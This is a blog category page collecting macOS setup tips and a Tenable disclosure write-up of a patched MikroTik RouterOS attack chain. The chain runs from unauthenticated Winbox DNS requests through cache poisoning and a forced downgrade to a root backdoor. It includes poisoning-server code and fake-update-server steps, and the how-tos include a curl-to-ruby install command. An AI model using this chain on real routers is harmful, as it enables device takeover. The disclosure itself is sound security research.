Category: Operating System

  • Setting up Environment Variables in MacOS Sierra

    An environment variable in a named object containing data which can be used by multiple applications or processes. Basically, it is just a variable with a name and an associated value. It can be used to determine anything like location of executable files, libraries, current working directory, default shell, or local system settings.

    For those new to mac can get overwhelmed with how to set up and manage these environment variables. This guide provides easy ways to do so.

    Displaying current Environment Variables

    This is very easy. Just open the Terminal and run the command printenv as shown below.

    HIMANSHUs-MacBook-Pro:~ himanshu$ printenvJAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_131.jdk/Contents/Home
    TERM_PROGRAM=Apple_Terminal
    SHELL=/bin/bash
    ...

    This will list all the environment variables currently set.

    However, for displaying the value of any specific environment variable run the echo $[variable name] on the terminal, as shown below.

    HIMANSHUs-MacBook-Pro:~ himanshu$ echo $JAVA_HOME/Library/Java/JavaVirtualMachines/jdk1.8.0_131.jdk/Contents/Home

    Setting temporary environment variable using terminal

    If the environment variable you wish to set is to be used once or twice, you would like to set a temporary variable for it, avoiding unwanted variables staying in the system. You can do this simply by opening the terminal and running export command followed by the variable name and its value.

    HIMANSHUs-MacBook-Pro:~ himanshu$ export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_131.jdk/Contents/Home

    The above example sets the variable $JAVA_HOME to the specified value. However, if your requirement is to append a value to an existing environment variable, then assign the value as

    export [existing_variable_name]=[new_value]:$[existing_variable_name]

    the ‘:’ here append the value to the existing value. See example below.

    HIMANSHUs-MacBook-Pro:~ himanshu$ export PATH=/Users/himanshu/Documents/apache-maven-3.5.0/bin:$PATH

    Setting permanent environment variable using terminal

    Since Mac uses bash shell, so the environment variables can be added to the .bash_profile directory, for the current user. The path to this file can be found using the command

    HIMANSHUs-MacBook-Pro:~ himanshu$ ~/.bash_profile

    Get started by opening this file using a text editor. I’m using nano — a terminal based text editor, you may use any text editor you like — to open the file and edit it.

    HIMANSHUs-MacBook-Pro:~ himanshu$ nano .bash_profile

    This will open the .bash_profile file in the terminal.

    Note: If there is no file named .bash_profile, then this above nano command will create a new file named .bash_profile .

    Now move to the end of the file, go to the next line. Now add the desired environment variables using export command as we did before.

    Press ctrl+X to exit the editor. Press ‘Y’ for saving the buffer, and you will return back to the terminal screen.

    We are done now!

    You may again run echo $[variable_name] to see the value of your just saved environment variable.

    UPDATE: Don’t forget to close and reopen the terminal before using your newly set environment variable. Reopening the terminal loads the updated .bash_profile file.

  • Library not loaded: libcrypto.1.0.0.dylib issue in mac

    You might have come across this error while dealing with the openssl module.

    Inorder to solve this issue follow the following steps

    Step 1: Install openssl using brew

    brew install openssl

    Step 2: Copy copy libssl.1.0.0.dylib and libcrypto.1.0.0.dylib

    cd /usr/local/Cellar/openssl/1.0.1f/lib
    sudo cp libssl.1.0.0.dylib libcrypto.1.0.0.dylib /usr/lib/

    Note the bold folder name. There will be change in that depending on your openssl version

    Edit (2019 July) If you are getting permission denied error even after sudo. Try copying to `/usr/local/lib ` instead. Thanks to George Hotz from comments to pointing it out.

    Step 3: Remove the existing links

    sudo rm libssl.dylib libcrypto.dylib
    sudo ln -s libssl.1.0.0.dylib libssl.dylib
    sudo ln -s libcrypto.1.0.0.dylib libcrypto.dylib

    That’s it. Now try installing what you have been trying to install.

    I hope this helps. If you need any further clarification, do comment.

    https://mithun.co/hacks/library-not-loaded-libcrypto-1-0-0-dylib-issue-in-mac/
  • How to upgrade OpenSSL (macOS)

    How to upgrade OpenSSL (macOS)

    Problem : OpenSSL Security Advisory [3rd May 2016] High severity
    Solution : Update it 🙂

    Mac OSX 10.11.4

    Check version

    $ openssl version -a

    Backup old version

    $ sudo mv /usr/bin/openssl /usr/bin/openssl-old

    For 10.12.2 will get…(and maybe this should help)
    mv: rename /usr/bin/openssl to /usr/bin/openssl-old: Operation not permitted

    Or remove old version (skip this if you already backup)

    $ sudo rm /usr/bin/openssl

    Install Homebrew if you didn’t have

    $ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

    Or update if you already have

    $ brew update && brew upgrade

    Install OpenSSL with Homebrew

    $ brew install openssl

    Symbolic link

    $ brew link --force openssl

    [UPDATE] 2016/12/11

    OpenSSL 1.0.2j, Homebrew 1.1.2, Mac 10.11.6

    You’ll see…

    Warning: Refusing to link: openssl
    Linking keg-only openssl means you may end up linking against the insecure,
    deprecated system OpenSSL while using the headers from Homebrew’s openssl.
    Instead, pass the full include/library paths to your compiler e.g.:
    -I/usr/local/opt/openssl/include -L/usr/local/opt/openssl/lib

    And yes we’re doom! But no worry we can manually link it with steps below.

    1. Ensure it exist

    $ ls -l /usr/local/opt/openssl

    You should see (after $ brew install openssl)

    lrwxr-xr-x 1 katopz admin 24 Sep 29 00:21 /usr/local/opt/openssl -> ../Cellar/openssl/1.0.2j

    2. Link it

    $ sudo ln -s /usr/local/Cellar/openssl/1.0.2j/bin/openssl /usr/bin/openssl

    For 10.12.2 you will get…(and maybe this should help)
    ln: /usr/bin/openssl: Operation not permitted

    3. And maybe you’ll need this too

    $ mkdir -p /usr/local/lib
    $ ln -s /usr/local/opt/openssl/lib/libcrypto.1.0.0.dylib /usr/local/lib/
    $ ln -s /usr/local/opt/openssl/lib/libssl.1.0.0.dylib /usr/local/lib/

    Close Terminal and reopen then check version

    $ openssl version -a

    You should see…

    OpenSSL 1.0.2j  26 Sep 2016built on: reproducible build, date unspecifiedplatform: darwin64-x86_64-ccoptions:  bn(64,64) rc4(ptr,int) des(idx,cisc,16,int) idea(int) blowfish(idx)compiler: clang -I. -I.. -I../include  -fPIC -fno-common -DOPENSSL_PIC -DZLIB_SHARED -DZLIB -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -arch x86_64 -O3 -DL_ENDIAN -Wall -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASMOPENSSLDIR: "/usr/local/etc/openssl"

    Nice! We’re safe now until another incident appear tho.

    And next time you can just…

    $ brew update && brew upgrade

    Happy OpenSSLing!

  • RouterOS: Chain to Root

    DNS Request to a Root Busybox Shell

    Jacob Baines

    Jacob BainesOct 28 · 9 min read

    The path to code execution isn’t always a straight line. Sometimes the path is long and winding. Such is the case with a series of vulnerabilities that I reported to MikroTik that was recently patched in 6.45.7. This blog guides the reader down that path, beginning with unauthenticated requests to Winbox and ending with a root busybox shell.

    Unauthenticated DNS Requests

    The RouterOS terminal supports the resolve command for DNS lookups.

    Requesting 8.8.8.8 to resolve google.com via the command line
    Requesting 8.8.8.8 to resolve google.com via the command line

    Under the hood, this request is handled by a binary named resolver. Resolver is one of the many binaries that is hooked into RouterOS’s Winbox protocol. The protocol is closed source, but I’ve presented on it and released quite a few proof of concepts based on the protocol. At a high level, “messages” sent to the Winbox port can be routed to different binaries in RouterOS based on an array-based numbering scheme. For example, [14] will get messages routed to the main handler in resolver.

    The vtable for resolver’s main handler.

    Of note in the above vtable is sub_8055cb4. This function overrides nv::Handler::handle(). This is notable because nv::Handler::handle() is rarely overridden. handle() determines if the received message has sufficient permissions to execute the requested command. The mistake in, or perhaps a feature of, sub_8055cb4 is that it does not validate the permissions required to invoke three commands:

    The three commands (3, 4, and 6) allow an unauthenticated remote user to make DNS requests through the router to a DNS server of their choice. I wrote a simple proof of concept called winbox_dns_request.

    U6 contains the resolved IP address

    At first glance, that isn’t a huge problem. Perhaps an amusing way to proxy a DNS c2 tunnel, but that’s it. However, you’ll see this is surprisingly useful.

    DNS Cache Poisoning

    By default, RouterOS has the DNS server feature disabled.

    However, even with the server feature disabled, the router maintains its own DNS cache.

    When we make a request using winbox_dns_request, say for example.com, the router will cache the result.

    And, since we can specify the DNS server the request should go through, it’s trivial to inject bad addresses. For example, consider this DNS server implementation by Philipp Klaus. I’ve tweaked it to always respond with an A record containing the IP address 192.168.88.250.

    def dns_response(data):
        request = DNSRecord.parse(data)
        reply = DNSRecord(DNSHeader(
            id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
        qname = request.q.qname
        qn = str(qname)
        reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
        print("---- Reply:\n", reply)
        return reply.pack()

    When I tell Winbox to look up example.com using my malicious DNS server you can now see that the router’s DNS cache gets poisoned.

    Of course, poisoning example.com isn’t very useful since the router won’t actually use it. However, the router does need upgrade.mikrotik.comcloud.mikrotik.comcloud2.mikrotik.com, and download.mikrotik.com. And thanks to another bug, we can poison them all at once.

    def dns_response(data):    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
    id=request.header.id, qr=1, aa=1, ra=1), q=request.q) qname = request.q.qname
    qn = str(qname) reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
    rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
    rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
    rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
    rdata=A("192.168.88.250")))
    print("---- Reply:\n", reply)
    return reply.pack()

    The router requests one resolution and we provide five back. The router incorrectly caches all of these responses.

    Obviously, this attack is also useful if the router is acting as a DNS server, as it allows you to attack the router’s clients. However, this blog will continue to focus on taking over the router itself.

    Downgrade Attack

    RouterOS’s upgrade mechanism is conducted entirely over HTTP. Recently, there was delicious infosec drama because many people can’t accept updates over HTTP aren’t necessarily problematic. As long as everything is signed and verified, upgrade over HTTP is totally fine.

    But that isn’t the case for RouterOS. Of course, the packages themselves are signed. But, due to a bug, routers can be tricked into downgrading to an older version of RouterOS. In the image below you can see the router initially makes two HTTP requests when upgrading.

    The first request is to http://upgrade.mikrotik.com/routeros/LATEST.6. This returns information about the most recent Stable release.

    alobster@ubuntu~$ curl http://upgrade.mikrotik.com/routeros/LATEST.6
    6.45.6 1568106391
    * Connection #0 to host upgrade.mikrotik.com left intact

    You can see the response is a single line containing a version (6.45.6) and a Unix timestamp (1568106391). The timestamp is precisely when 6.45.6 was released. Apparently, September 10, 2019 9:06:31 AM GMT.

    Using this information, the router then requests the CHANGELOG for 6.45.6 at http://upgrade.mikrotik.com/routeros/6.45.6/CHANGELOG.

    albinolobster@ubuntu:~$ curl http://upgrade.mikrotik.com/routeros/6.45.6/CHANGELOG
    What's new in 6.45.6 (2019-Sep-10 09:06):Important note!!!
    Due to removal of compatibility with old version passwords in this version, downgrading to any version prior to v6.43 (v6.42.12 and older) will clear all user passwords and allow password-less authentication. Please secure your router after downgrading.
    Old API authentication method will also no longer work, see documentation for new login procedure:
    https://wiki.mikrotik.com/wiki/Manual:API#Initial_login*) capsman - fixed regulatory domain information checking when doing background scan;
    *) conntrack - improved system stability when using h323 helper (introduced in v6.45);
    … lots more text ...

    That might not look familiar if you don’t RouterOS often. But the CHANGELOG is displayed when the user checks for updates.

    After inserting my malicious server, 192.168.88.250, as upgrade.mikrotik.com in the router’s DNS cache, it’s trivial to recreate upgrade server’s logic:

    albinolobster@ubuntu:~$ mkdir routeros
    albinolobster@ubuntu:~$ echo "6.45.6 1568106391" > ./routeros/LATEST.6
    albinolobster@ubuntu:~$ mkdir routeros/6.45.6
    albinolobster@ubuntu:~$ echo "lol" > ./routeros/6.45.6/CHANGELOG
    albinolobster@ubuntu:~$ sudo python -m SimpleHTTPServer 80
    Serving HTTP on 0.0.0.0 port 80 ...
    192.168.88.1 - - [25/Sep/2019 16:10:49] "GET /routeros/LATEST.6 HTTP/1.1" 200 -
    192.168.88.1 - - [25/Sep/2019 16:10:49] "GET /routeros/6.45.6/CHANGELOG HTTP/1.1" 200 -

    Now running check update on Winbox yields the following:

    Probably not real release notes

    Which just proves the RouterOS isn’t doing anything to verify the provided information. As mentioned, you can take this further and trick RouterOS into downgrading by messing with the LATEST.6 information.

    I believe this is all predicated on being able to switch between the various branches without having to go through the special downgrade logic. First grab the output from LATEST.6fix (aka the long-term branch):

    albinolobster@ubuntu:~$ curl http://upgrade.mikrotik.com/routeros/LATEST.6fix
    6.44.5 1562236341

    Next overwrite our previous LATEST.6 with a fictitious version (6.45.8) and the timestamp from LATEST.6fix (1562236341).

    albinolobster@ubuntu:~$ echo "6.45.8 1562236341" > ./routeros/LATEST.6

    Next create the 6.45.8 directory and download RouterOS 6.41.4 into it. Be sure to name the file routeros-mipsbe-6.41.4.npk so that the router downloads the correct package (for those testing on their own change mipsbe to whatever architecture your router is using):

    albinolobster@ubuntu:~$ mkdir ./routeros/6.45.8
    albinolobster@ubuntu:~$ cd ./routeros/6.45.8/
    albinolobster@ubuntu:~/routeros/6.45.8$ echo "lol" > CHANGELOG
    albinolobster@ubuntu:~/routeros/6.45.8$ curl https://download.mikrotik.com/routeros/6.41.4/routeros-mipsbe-6.41.4.npk > routeros-mipsbe-6.45.8.npk

    After restarting the malicious web server, and assuming the router’s DNS cache is poisoned, then when the user installs the “new update” they’ll bypass the normal logic that forbids downgrade via update and switch over to RouterOS 6.41.4. That seems worthy of a proof of concept video, but I have a couple of other points I’d like to make first.

    Password Reset

    There are a couple of reasons I chose to download all the way to 6.41.4 (released April 9, 2018). The first reason is MikroTik’s downgrade password reset logic. From MikroTik’s release notes, I’ve bolded the most interesting part:

    Important note!!!
    Due to removal of compatibility with old version passwords in this version, downgrading to any version prior to v6.43 (v6.42.12 and older) will clear all user passwords and allow password-less authentication. Please secure your router after downgrading.
    Old API authentication method will also no longer work, see documentation for new login procedure:
    https://wiki.mikrotik.com/wiki/Manual:API#Initial_login

    Since we tricked RouterOS to downgrade from 6.45.6 all the way down to 6.41.4, the admin user’s default empty password is back. That means the attacker can log in as the admin user.

    Backdoor Creation

    The other reason I wanted to downgrade to 6.41.4 is because there are a few known vulnerabilities that enable a backdoor on the system. Using those vulnerabilities I can get a full busybox shell.

    Here is a video of the full attack from DNS request all the way to the shell.

    Video is a bit long due to the time it takes to apply an “upgrade.”

    Bonus Vulnerability: More Backdoor Creation

    But wait. There’s more!

    There’s a way to create the backdoor without throwing an old exploit. There was a bug in package installation that allowed an attacker to create arbitrary directories on the system.

    First you need to understand how Mikrotik’s npk packages are put together. For a nice graphic, I’ll refer you to Kirilis Solovjovs’ github. Otherwise, I wrote a tool called ls_npk:

    albinolobster@ubuntu:~/routeros/ls_npk/build$ ./ls_npk -f ~/packages/6.45.5/all_packages-x86-6.45.5/advanced-tools-6.45.5.npk 
    total size: 295802
    -----------
    0: (1) part info, size = 36, offset = 8 -> advanced-tools
    1: (24) channel, size = 6, offset = 2c
    2: (16) architecture, size = 4, offset = 32
    3: (2) part description, size = 51, offset = 36
    4: (23) digest, size = 40, offset = 69
    5: (3) dependencies, size = 34, offset = 91
    6: (22) zero padding, size = 3869, offset = b3
    7: (21) squashfs block, size = 114688, offset = fd0
    8: (4) file container, size = 176931, offset = 1cfd0
    9: (9) signature, size = 68, offset = 482f3
    sha1: 0e576b24d3de5280d6954217761a9fdeea6232b4

    The individual sections aren’t important to this discussion. What is important is that a SHA-1 hash is computed over all the sections up to the signature section (9). The SHA-1 and a signature are stored in section 9, therefore ensuring the package is valid and secure.

    Except.

    Except for a few small mistakes. First, MikroTik fails to include the first 8 bytes of the file in the SHA-1. These bytes contain the file’s magic bytes (0xbad0f11e) and the total length of the file. Furthermore, RouterOS stops computing the package’s SHA-1 once it hits the signature section. Meaning, an attacker can append arbitrary data to an npk and it won’t invalidate the signature verification scheme.

    When I realized this, I was really excited. I thought I was going to be able to add my own squashfs block (22) to the package. Alas, due to the way the logic is laid out, RouterOS won’t parse an attacker added squashfs block. But it will parse an appended “part info” field (1).

    Part info is made up of three fields and some amount of padding:

    1. 16 bytes on name.
    2. 4 bytes of version
    3. 4 bytes of timestamp

    Every time the router reboots it will parse this the npk package and use the “name” field to create a directory in /ram/pdb/.

    Unfortunately, this process was vulnerable to directory traversal via the package’s name, allowing an attacker to create a directory anywhere on disk.

    The backdoor enablement file for 6.41.4 is simply /pckg/option. As long as that file exists, even as a directory, the backdoor is enabled. I wrote a tool called option_npk that appends the directory traversal at the end of a valid package.

    Above, you can see I appended the extra part info field to dude-6.41.4.npk. After installing the dude package, a strange disabled package shows up.

    Also, you can now login as the devel user over telnet or SSH, so of course you’ll find that the option directory has been created.

    Used in combination with the earlier downgrade attack, this vulnerability enables the backdoor without forcing the attacker to throw an old exploit.

    A Conclusion of Sorts

    Simply disabling Winbox mitigates all of these attacks. I happen to very much like RouterOS and the features it offers, but, at this point, Winbox seems somewhat of a liability. I suggest disabling it and using SSH instead. Unfortunately, last I looked, there are more than half a million Winbox instances facing the internet.

    Jacob Baines

    WRITTEN BY

    Jacob Baines

    Tenable TechBlog

    Tenable TechBlog

    Learn how Tenable finds new vulnerabilities and writes the software to help you find them